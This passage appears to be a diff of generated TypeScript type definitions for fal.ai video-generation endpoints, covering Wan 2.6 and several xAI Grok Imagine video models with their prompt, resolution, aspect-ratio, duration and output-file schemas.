string | undefined + */ + resolution?: InputWanV26TextToVideoResolutionEnumKey + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Whether to enable prompt rewriting using LLM. Improves results for short prompts but increases processing time. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description + * URL of the audio to use as the background music. Must be publicly accessible. + * Limit handling: If the audio duration exceeds the duration value (5, 10, or 15 seconds), + * the audio is truncated to the first N seconds, and the rest is discarded. If + * the audio is shorter than the video, the remaining part of the video will be silent. + * For example, if the audio is 3 seconds long and the video duration is 5 seconds, the + * first 3 seconds of the output video will have sound, and the last 2 seconds will be silent. + * - Format: WAV, MP3. + * - Duration: 3 to 30 s. + * - File size: Up to 15 MB. + * + */ + audio_url?: string | null + /** + * @description When true, enables intelligent multi-shot segmentation for coherent narrative videos. Only active when enable_prompt_expansion is True. Set to false for single-shot generation. + * @default true + * @type boolean | undefined + */ + multi_shots?: boolean + /** + * @description Negative prompt to describe content to avoid. Max 500 characters. + * @default + * @example low resolution, error, worst quality, low quality, defects + */ + negative_prompt?: string | null + /** + * @description The text prompt for video generation. Supports Chinese and English, max 1500 characters. For multi-shot videos, use format: 'Overall description. First shot [0-3s] content. Second shot [3-5s] content.' + * @minLength 1 + * @example Humorous but premium mini-trailer: a tiny fox 3D director proves "multi-scene" by calling simple commands that instantly change the set. Extreme photoreal 4K, cinematic lighting, subtle film grain, smooth camera. No subtitles, no UI, no watermark. + * + * Shot 1 [0-3s] Macro close-up on the fox snapping a clapboard labeled "fal". the fox says : "Action." + * Shot 2 [3-6s] Hard cut: Wild West street at sunset. Wide shot, dust in the air. The Fox (in frame) points forward: "Make it wide." + * Shot 3 [6-10s] Hard cut: jungle river. The fox stands on a small boat. The camera pushes forward through vines and mist. Fox saying: "Now… adventure." + * Shot 4 [10-15s] Hard cut: space station window. Slow orbit around the fox with stars outside. Fox nods: "Done. Next movie." + * + * @type string + */ + prompt: string +} + +export type VideoFileBea40546 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +/** + * @description Output for text-to-video generation + * @type object + */ +export type OutputWanV26TextToVideo = { + /** + * @description The generated video file + * @example {"url":"https://v3b.fal.media/files/b/0a867564/PsHtrg623uJuI7DdRqXvb_etx4d0Un.mp4","content_type":"video/mp4"} + * @type object + */ + video: VideoFileBea40546 + /** + * @description The actual prompt used if prompt rewriting was enabled + * @example Humorous but premium mini-trailer: a tiny fox 3D director proves "multi-scene" by calling simple commands that instantly change the set. Extreme photoreal 4K, cinematic lighting, subtle film grain, smooth camera. No subtitles, no UI, no watermark. + * + * Shot 1 [0-3s] Macro close-up on the fox snapping a clapboard labeled "fal". the fox says : "Action." + * Shot 2 [3-6s] Hard cut: Wild West street at sunset. Wide shot, dust in the air. The Fox (in frame) points forward: "Make it wide." + * Shot 3 [6-10s] Hard cut: jungle river. The fox stands on a small boat. The camera pushes forward through vines and mist. Fox saying: "Now… adventure." + * Shot 4 [10-15s] Hard cut: space station window. Slow orbit around the fox with stars outside. Fox nods: "Done. Next movie." + * + */ + actual_prompt?: string | null + /** + * @description The seed used for generation + * @example 175932751 + * @type integer + */ + seed: number +} + +export const inputXaiGrokImagineVideoEditVideoResolutionEnum = { + auto: 'auto', + '480p': '480p', + '720p': '720p', +} as const + +export type InputXaiGrokImagineVideoEditVideoResolutionEnumKey = + (typeof inputXaiGrokImagineVideoEditVideoResolutionEnum)[keyof typeof inputXaiGrokImagineVideoEditVideoResolutionEnum] + +export type InputXaiGrokImagineVideoEditVideo = { + /** + * @description URL of the input video to edit. The video will be resized to a maximum area of 854x480 pixels and truncated to 8 seconds. + * @example https://v3b.fal.media/files/b/0a8b9112/V5Z_NIPE3ppMDWivNo6_q_video_019.mp4 + * @type string + */ + video_url: string + /** + * @description Resolution of the output video. + * @default 'auto' + * @type string | undefined + */ + resolution?: InputXaiGrokImagineVideoEditVideoResolutionEnumKey + /** + * @description Text description of the desired edit. + * @maxLength 4096 + * @example Colorize the video + * @type string + */ + prompt: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type VideoFileE6Ea5851 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The FPS of the video + */ + fps?: number | null +} + +export type OutputXaiGrokImagineVideoEditVideo = { + /** + * @description The generated video. + * @example {"content_type":"video/mp4","height":720,"url":"https://v3b.fal.media/files/b/0a8b9113/EuDrZuQTW9m1phBXOsauz_EpJH3s8X.mp4","duration":5.041667,"num_frames":121,"width":1280,"file_name":"EuDrZuQTW9m1phBXOsauz_EpJH3s8X.mp4","fps":24} + * @type object + */ + video: VideoFileE6Ea5851 +} + +export type InputXaiGrokImagineVideoExtendVideo = { + /** + * @description URL of the source video to extend. Must be MP4 format (H.264, H.265, or AV1 codec), 2-15 seconds long. + * @example https://v3b.fal.media/files/b/0a8b9112/V5Z_NIPE3ppMDWivNo6_q_video_019.mp4 + * @type string + */ + video_url: string + /** + * @description Length of the extension in seconds. + * @minimum 2 + * @maximum 10 + * @default 6 + * @type integer | undefined + */ + duration?: number + /** + * @description Text description of what should happen next in the video. + * @maxLength 4096 + * @example The camera slowly zooms out to reveal the city skyline at sunset + * @type string + */ + prompt: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type VideoFile2893Ec61 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The FPS of the video + */ + fps?: number | null +} + +export type OutputXaiGrokImagineVideoExtendVideo = { + /** + * @description The extended video (original + extension stitched together). + * @example {"content_type":"video/mp4","height":720,"url":"https://v3b.fal.media/files/b/0a8b9113/extended_video.mp4","duration":16,"num_frames":384,"width":1280,"file_name":"extended_video.mp4","fps":24} + * @type object + */ + video: VideoFile2893Ec61 +} + +export const inputXaiGrokImagineVideoImageToVideoResolutionEnum = { + '480p': '480p', + '720p': '720p', +} as const + +export type InputXaiGrokImagineVideoImageToVideoResolutionEnumKey = + (typeof inputXaiGrokImagineVideoImageToVideoResolutionEnum)[keyof typeof inputXaiGrokImagineVideoImageToVideoResolutionEnum] + +export const inputXaiGrokImagineVideoImageToVideoAspectRatio = { + auto: 'auto', + '16:9': '16:9', + '4:3': '4:3', + '3:2': '3:2', + '1:1': '1:1', + '2:3': '2:3', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputXaiGrokImagineVideoImageToVideoAspectRatioKey = + (typeof inputXaiGrokImagineVideoImageToVideoAspectRatio)[keyof typeof inputXaiGrokImagineVideoImageToVideoAspectRatio] + +export type InputXaiGrokImagineVideoImageToVideo = { + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description URL of the input image for video generation. + * @example https://v3b.fal.media/files/b/0a8b90e0/BFLE9VDlZqsryU-UA3BoD_image_004.png + * @type string + */ + image_url: string + /** + * @description Video duration in seconds. + * @minimum 1 + * @maximum 15 + * @default 6 + * @type integer | undefined + */ + duration?: number + /** + * @description Resolution of the output video. + * @default '720p' + * @type string | undefined + */ + resolution?: InputXaiGrokImagineVideoImageToVideoResolutionEnumKey + /** + * @description Text description of desired changes or motion in the video. + * @maxLength 4096 + * @example Medieval knight in ornate armor walking through a mystical forest, bioluminescent plants pulsing with light, ancient stone ruins overgrown with glowing vines, over-the-shoulder camera, dark fantasy aesthetic, volumetric fog and Lumen lighting + * @type string + */ + prompt: string + /** + * @description Aspect ratio of the generated video. + * @default auto + */ + aspect_ratio?: InputXaiGrokImagineVideoImageToVideoAspectRatioKey | null +} + +export type VideoFileF9Ba6494 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The FPS of the video + */ + fps?: number | null +} + +export type OutputXaiGrokImagineVideoImageToVideo = { + /** + * @description The generated video. + * @example {"content_type":"video/mp4","height":720,"url":"https://v3b.fal.media/files/b/0a8b90e0/0Ci1dviuSnEyUZzBUq-_5_nu7MrAAa.mp4","duration":6.041667,"num_frames":145,"width":1280,"file_name":"0Ci1dviuSnEyUZzBUq-_5_nu7MrAAa.mp4","fps":24} + * @type object + */ + video: VideoFileF9Ba6494 +} + +export const inputXaiGrokImagineVideoReferenceToVideoResolutionEnum = { + '480p': '480p', + '720p': '720p', +} as const + +export type InputXaiGrokImagineVideoReferenceToVideoResolutionEnumKey = + (typeof inputXaiGrokImagineVideoReferenceToVideoResolutionEnum)[keyof typeof inputXaiGrokImagineVideoReferenceToVideoResolutionEnum] + +export const inputXaiGrokImagineVideoReferenceToVideoAspectRatioEnum = { + '16:9': '16:9', + '4:3': '4:3', + '3:2': '3:2', + '1:1': '1:1', + '2:3': '2:3', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputXaiGrokImagineVideoReferenceToVideoAspectRatioEnumKey = + (typeof inputXaiGrokImagineVideoReferenceToVideoAspectRatioEnum)[keyof typeof inputXaiGrokImagineVideoReferenceToVideoAspectRatioEnum] + +export type InputXaiGrokImagineVideoReferenceToVideo = { + /** + * @description Resolution of the output video. + * @default '480p' + * @type string | undefined + */ + resolution?: InputXaiGrokImagineVideoReferenceToVideoResolutionEnumKey + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description One or more reference image URLs to guide the video generation as style and content references. Reference in prompt as @Image1, @Image2, etc. Maximum 7 images. + * @example ["https://v3b.fal.media/files/b/0a8b90e0/BFLE9VDlZqsryU-UA3BoD_image_004.png"] + * @type array + */ + reference_image_urls: string[] + /** + * @description Video duration in seconds. + * @minimum 1 + * @maximum 10 + * @default 8 + * @type integer | undefined + */ + duration?: number + /** + * @description Text prompt describing the video to generate. Use @Image1, @Image2, etc. to reference specific images from reference_image_urls in order. + * @maxLength 4096 + * @example A @Image1 running through a sunlit meadow, cinematic slow motion + * @type string + */ + prompt: string + /** + * @description Aspect ratio of the generated video. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputXaiGrokImagineVideoReferenceToVideoAspectRatioEnumKey +} + +export type VideoFileF12D5Af4 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The FPS of the video + */ + fps?: number | null +} + +export type OutputXaiGrokImagineVideoReferenceToVideo = { + /** + * @description The generated video. + * @example {"content_type":"video/mp4","height":720,"url":"https://v3b.fal.media/files/b/0a8b90e4/r2v_output.mp4","duration":8,"num_frames":192,"width":1280,"file_name":"r2v_output.mp4","fps":24} + * @type object + */ + video: VideoFileF12D5Af4 +} + +export const inputXaiGrokImagineVideoTextToVideoResolutionEnum = { + '480p': '480p', + '720p': '720p', +} as const + +export type InputXaiGrokImagineVideoTextToVideoResolutionEnumKey = + (typeof inputXaiGrokImagineVideoTextToVideoResolutionEnum)[keyof typeof inputXaiGrokImagineVideoTextToVideoResolutionEnum] + +export const inputXaiGrokImagineVideoTextToVideoAspectRatioEnum = { + '16:9': '16:9', + '4:3': '4:3', + '3:2': '3:2', + '1:1': '1:1', + '2:3': '2:3', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputXaiGrokImagineVideoTextToVideoAspectRatioEnumKey = + (typeof inputXaiGrokImagineVideoTextToVideoAspectRatioEnum)[keyof typeof inputXaiGrokImagineVideoTextToVideoAspectRatioEnum] + +export type InputXaiGrokImagineVideoTextToVideo = { + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Video duration in seconds. + * @minimum 1 + * @maximum 15 + * @default 6 + * @type integer | undefined + */ + duration?: number + /** + * @description Resolution of the output video. + * @default '720p' + * @type string | undefined + */ + resolution?: InputXaiGrokImagineVideoTextToVideoResolutionEnumKey + /** + * @description Text description of the desired video. + * @maxLength 4096 + * @example Anime schoolgirl bursting out of house door, cherry blossoms blowing, morning light, speed lines indicating rush, chibi-ready expressions, classic shojo aesthetic, vibrant colors + * @type string + */ + prompt: string + /** + * @description Aspect ratio of the generated video. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputXaiGrokImagineVideoTextToVideoAspectRatioEnumKey +} + +export type VideoFileAb60F3Ea = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The FPS of the video + */ + fps?: number | null +} + +export type OutputXaiGrokImagineVideoTextToVideo = { + /** + * @description The generated video. + * @example {"content_type":"video/mp4","height":720,"url":"https://v3b.fal.media/files/b/0a8b90e4/RUAbFYlssdqnbjNLmE8qP_IX7BNYGP.mp4","duration":6.041667,"num_frames":145,"width":1280,"file_name":"RUAbFYlssdqnbjNLmE8qP_IX7BNYGP.mp4","fps":24} + * @type object + */ + video: VideoFileAb60F3Ea +} + +export const inputXaiGrokImagineVideoV15ImageToVideoResolutionEnum = { + '480p': '480p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputXaiGrokImagineVideoV15ImageToVideoResolutionEnumKey = + (typeof inputXaiGrokImagineVideoV15ImageToVideoResolutionEnum)[keyof typeof inputXaiGrokImagineVideoV15ImageToVideoResolutionEnum] + +/** + * @description ``grok-imagine-video-1.5`` image-to-video (no ``aspect_ratio``). + * + * Widens ``resolution`` to add the 1080p tier supported by the 1.5 model + * (the standard model remains 480p/720p only). + * @type object + */ +export type InputXaiGrokImagineVideoV15ImageToVideo = { + /** + * @description URL of the input image for video generation. + * @example https://v3b.fal.media/files/b/0a8b90e0/BFLE9VDlZqsryU-UA3BoD_image_004.png + * @type string + */ + image_url: string + /** + * @description Video duration in seconds. + * @minimum 1 + * @maximum 15 + * @default 6 + * @type integer | undefined + */ + duration?: number + /** + * @description Resolution of the output video. + * @default '720p' + * @type string | undefined + */ + resolution?: InputXaiGrokImagineVideoV15ImageToVideoResolutionEnumKey + /** + * @description Text description of desired changes or motion in the video. + * @maxLength 4096 + * @example Medieval knight in ornate armor walking through a mystical forest, bioluminescent plants pulsing with light, ancient stone ruins overgrown with glowing vines, over-the-shoulder camera, dark fantasy aesthetic, volumetric fog and Lumen lighting + * @type string + */ + prompt: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type VideoFileB4Cd5739 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The FPS of the video + */ + fps?: number | null +} + +export type OutputXaiGrokImagineVideoV15ImageToVideo = { + /** + * @description The generated video. + * @example {"content_type":"video/mp4","height":720,"url":"https://v3b.fal.media/files/b/0a8b90e0/0Ci1dviuSnEyUZzBUq-_5_nu7MrAAa.mp4","duration":6.041667,"num_frames":145,"width":1280,"file_name":"0Ci1dviuSnEyUZzBUq-_5_nu7MrAAa.mp4","fps":24} + * @type object + */ + video: VideoFileB4Cd5739 +} + +export const inputXaiGrokImagineVideoV15LiteImageToVideoResolutionEnum = { + '480p': '480p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputXaiGrokImagineVideoV15LiteImageToVideoResolutionEnumKey = + (typeof inputXaiGrokImagineVideoV15LiteImageToVideoResolutionEnum)[keyof typeof inputXaiGrokImagineVideoV15LiteImageToVideoResolutionEnum] + +/** + * @description ``grok-imagine-video-1.5`` image-to-video (no ``aspect_ratio``). + * + * Widens ``resolution`` to add the 1080p tier supported by the 1.5 model + * (the standard model remains 480p/720p only). + * @type object + */ +export type InputXaiGrokImagineVideoV15LiteImageToVideo = { + /** + * @description URL of the input image for video generation. + * @example https://v3b.fal.media/files/b/0a8b90e0/BFLE9VDlZqsryU-UA3BoD_image_004.png + * @type string + */ + image_url: string + /** + * @description Video duration in seconds. + * @minimum 1 + * @maximum 15 + * @default 6 + * @type integer | undefined + */ + duration?: number + /** + * @description Resolution of the output video. + * @default '720p' + * @type string | undefined + */ + resolution?: InputXaiGrokImagineVideoV15LiteImageToVideoResolutionEnumKey + /** + * @description Text description of desired changes or motion in the video. + * @maxLength 4096 + * @example Medieval knight in ornate armor walking through a mystical forest, bioluminescent plants pulsing with light, ancient stone ruins overgrown with glowing vines, over-the-shoulder camera, dark fantasy aesthetic, volumetric fog and Lumen lighting + * @type string + */ + prompt: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type VideoFile5A29F92A = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The number of frames in the video + */ + num_frames?: number | null +} + +export type OutputXaiGrokImagineVideoV15LiteImageToVideo = { + /** + * @description The generated video. + * @example {"url":"https://v3b.fal.media/files/b/0a8b90e0/0Ci1dviuSnEyUZzBUq-_5_nu7MrAAa.mp4","num_frames":145,"height":720,"content_type":"video/mp4","duration":6.041667,"file_name":"0Ci1dviuSnEyUZzBUq-_5_nu7MrAAa.mp4","fps":24,"width":1280} + * @type object + */ + video: VideoFile5A29F92A +} + +export const inputXaiGrokImagineVideoV15LiteTextToVideoResolutionEnum = { + '480p': '480p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputXaiGrokImagineVideoV15LiteTextToVideoResolutionEnumKey = + (typeof inputXaiGrokImagineVideoV15LiteTextToVideoResolutionEnum)[keyof typeof inputXaiGrokImagineVideoV15LiteTextToVideoResolutionEnum] + +export const inputXaiGrokImagineVideoV15LiteTextToVideoAspectRatioEnum = { + '16:9': '16:9', + '4:3': '4:3', + '3:2': '3:2', + '1:1': '1:1', + '2:3': '2:3', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputXaiGrokImagineVideoV15LiteTextToVideoAspectRatioEnumKey = + (typeof inputXaiGrokImagineVideoV15LiteTextToVideoAspectRatioEnum)[keyof typeof inputXaiGrokImagineVideoV15LiteTextToVideoAspectRatioEnum] + +export type InputXaiGrokImagineVideoV15LiteTextToVideo = { + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Video duration in seconds. + * @minimum 1 + * @maximum 15 + * @default 6 + * @type integer | undefined + */ + duration?: number + /** + * @description Resolution of the output video. + * @default '720p' + * @type string | undefined + */ + resolution?: InputXaiGrokImagineVideoV15LiteTextToVideoResolutionEnumKey + /** + * @description Text description of the desired video. + * @maxLength 4096 + * @example Anime schoolgirl bursting out of house door, cherry blossoms blowing, morning light, speed lines indicating rush, chibi-ready expressions, classic shojo aesthetic, vibrant colors + * @type string + */ + prompt: string + /** + * @description Aspect ratio of the generated video. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputXaiGrokImagineVideoV15LiteTextToVideoAspectRatioEnumKey +} + +export type VideoFileAf3388D8 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The number of frames in the video + */ + num_frames?: number | null +} + +export type OutputXaiGrokImagineVideoV15LiteTextToVideo = { + /** + * @description The generated video. + * @example {"url":"https://v3b.fal.media/files/b/0a8b90e4/RUAbFYlssdqnbjNLmE8qP_IX7BNYGP.mp4","num_frames":145,"height":720,"content_type":"video/mp4","duration":6.041667,"file_name":"RUAbFYlssdqnbjNLmE8qP_IX7BNYGP.mp4","fps":24,"width":1280} + * @type object + */ + video: VideoFileAf3388D8 +} + +export const inputXaiGrokImagineVideoV15ReferenceToVideoResolutionEnum = { + '480p': '480p', + '720p': '720p', +} as const + +export type InputXaiGrokImagineVideoV15ReferenceToVideoResolutionEnumKey = + (typeof inputXaiGrokImagineVideoV15ReferenceToVideoResolutionEnum)[keyof typeof inputXaiGrokImagineVideoV15ReferenceToVideoResolutionEnum] + +export const inputXaiGrokImagineVideoV15ReferenceToVideoAspectRatioEnum = { + '16:9': '16:9', + '4:3': '4:3', + '3:2': '3:2', + '1:1': '1:1', + '2:3': '2:3', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputXaiGrokImagineVideoV15ReferenceToVideoAspectRatioEnumKey = + (typeof inputXaiGrokImagineVideoV15ReferenceToVideoAspectRatioEnum)[keyof typeof inputXaiGrokImagineVideoV15ReferenceToVideoAspectRatioEnum] + +export type InputXaiGrokImagineVideoV15ReferenceToVideo = { + /** + * @description Resolution of the output video. + * @default '480p' + * @type string | undefined + */ + resolution?: InputXaiGrokImagineVideoV15ReferenceToVideoResolutionEnumKey + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description One or more reference image URLs to guide the video generation as style and content references. Reference in prompt as , , etc. Maximum 7 images. + * @example ["https://v3b.fal.media/files/b/0a8b90e0/BFLE9VDlZqsryU-UA3BoD_image_004.png"] + * @type array + */ + reference_image_urls: string[] + /** + * @description Video duration in seconds. + * @minimum 1 + * @maximum 15 + * @default 8 + * @type integer | undefined + */ + duration?: number + /** + * @description Text prompt describing the video. Tag references as , , etc. + * @maxLength 4096 + * @example The person from walks through a rainy neon-lit street. + * @type string + */ + prompt: string + /** + * @description Aspect ratio of the generated video. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputXaiGrokImagineVideoV15ReferenceToVideoAspectRatioEnumKey +} + +export type VideoFileA1162Fb1 = { + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The number of frames in the video + */ + num_frames?: number | null +} + +export type OutputXaiGrokImagineVideoV15ReferenceToVideo = { + /** + * @description The generated video. + * @example {"fps":24,"file_name":"r2v_output.mp4","url":"https://v3b.fal.media/files/b/0a8b90e4/r2v_output.mp4","width":1280,"content_type":"video/mp4","duration":8,"height":720,"num_frames":192} + * @type object + */ + video: VideoFileA1162Fb1 +} + +export const inputXaiGrokImagineVideoV15TextToVideoResolutionEnum = { + '480p': '480p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputXaiGrokImagineVideoV15TextToVideoResolutionEnumKey = + (typeof inputXaiGrokImagineVideoV15TextToVideoResolutionEnum)[keyof typeof inputXaiGrokImagineVideoV15TextToVideoResolutionEnum] + +export const inputXaiGrokImagineVideoV15TextToVideoAspectRatioEnum = { + '16:9': '16:9', + '4:3': '4:3', + '3:2': '3:2', + '1:1': '1:1', + '2:3': '2:3', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputXaiGrokImagineVideoV15TextToVideoAspectRatioEnumKey = + (typeof inputXaiGrokImagineVideoV15TextToVideoAspectRatioEnum)[keyof typeof inputXaiGrokImagineVideoV15TextToVideoAspectRatioEnum] + +export type InputXaiGrokImagineVideoV15TextToVideo = { + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Video duration in seconds. + * @minimum 1 + * @maximum 15 + * @default 6 + * @type integer | undefined + */ + duration?: number + /** + * @description Resolution of the output video. + * @default '720p' + * @type string | undefined + */ + resolution?: InputXaiGrokImagineVideoV15TextToVideoResolutionEnumKey + /** + * @description Text description of the desired video. + * @maxLength 4096 + * @example Anime schoolgirl bursting out of house door, cherry blossoms blowing, morning light, speed lines indicating rush, chibi-ready expressions, classic shojo aesthetic, vibrant colors + * @type string + */ + prompt: string + /** + * @description Aspect ratio of the generated video. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputXaiGrokImagineVideoV15TextToVideoAspectRatioEnumKey +} + +export type VideoFile0B1A2C5D = { + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The number of frames in the video + */ + num_frames?: number | null +} + +export type OutputXaiGrokImagineVideoV15TextToVideo = { + /** + * @description The generated video. + * @example {"fps":24,"file_name":"RUAbFYlssdqnbjNLmE8qP_IX7BNYGP.mp4","url":"https://v3b.fal.media/files/b/0a8b90e4/RUAbFYlssdqnbjNLmE8qP_IX7BNYGP.mp4","width":1280,"content_type":"video/mp4","duration":6.041667,"height":720,"num_frames":145} + * @type object + */ + video: VideoFile0B1A2C5D +} + +export type FalVideoEndpoints = { + 'alibaba/happy-horse/image-to-video': { + /** + * @description Input for Happy Horse image-to-video generation (first frame only). + * @type object + */ + input: InputAlibabaHappyHorseImageToVideo + /** + * @description Output for Happy Horse video generation. + * @type object + */ + output: OutputAlibabaHappyHorseImageToVideo + } + 'alibaba/happy-horse/reference-to-video': { + /** + * @description Input for Happy Horse reference-to-video generation (1-9 reference images). + * @type object + */ + input: InputAlibabaHappyHorseReferenceToVideo + /** + * @description Output for Happy Horse video generation. + * @type object + */ + output: OutputAlibabaHappyHorseReferenceToVideo + } + 'alibaba/happy-horse/text-to-video': { + /** + * @description Input for Happy Horse text-to-video generation. + * @type object + */ + input: InputAlibabaHappyHorseTextToVideo + /** + * @description Output for Happy Horse video generation. + * @type object + */ + output: OutputAlibabaHappyHorseTextToVideo + } + 'alibaba/happy-horse/v1.1/image-to-video': { + /** + * @description Input for Happy Horse 1.1 image-to-video generation (first frame only). + * + * Identical to 1.0 except the first-frame image may be up to 20 MB (1.0 + * caps at 10 MB). + * @type object + */ + input: InputAlibabaHappyHorseV11ImageToVideo + /** 